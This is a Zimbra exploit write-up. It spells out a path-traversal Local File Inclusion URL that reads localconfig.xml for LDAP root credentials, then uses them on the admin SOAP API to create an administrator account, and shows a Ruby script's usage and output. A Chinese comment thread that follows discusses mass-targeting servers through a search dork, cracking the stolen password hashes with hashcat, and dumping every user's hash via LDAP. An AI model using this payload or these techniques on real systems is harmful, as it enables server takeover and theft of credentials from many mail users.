---------------Description-----------------

This script exploits a Local File Inclusion in
/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz
which allows us to see localconfig.xml
that contains LDAP root credentials wich allow us to make requests in
/service/admin/soap API with the stolen LDAP credentials to create user
with administration privlegies
and gain acces to the Administration Console.

LFI is located at :
/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00

Example :

https://mail.example.com/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00

or

----------------Exploit-----------------


Before use this exploit, target server must have admin console port open
"7071" otherwise it won't work.

use the exploit like this :


ruby run.rb -t mail.example.com -u someuser -p Test123_23

[*] Looking if host is vuln....
[+] Host is vuln exploiting...
[+] Obtaining Domain Name
[+] Creating Account
[+] Elevating Privileges
[+] Login Credentials
    [*] Login URL : https://mail.example.com:7071/zimbraAdmin/
    [*] Account   : [email protected]
    [*] Password  : Test123_23
[+] Successfully Exploited !

The number of servers vuln are huge like 80/100.

This is only for educational purpouses.

批量搜索方法:title:zimbra web client sign in (百度下测试一搜索一大片)

虽然有些没开7071但是配置文件还是能被包含出来，不知道里面加密的数据能不能被破解出来

批量的、？

又见包含 7071是默认端口就可以批量。

没在hashcat里找到适合的密文选项, 尝试ssha 的几乎都失败了。

7071端口被改了，有办法找到端口不？ 另外 @猪猪侠 有了LDAP 怎么获取所有用户的HASH呢？
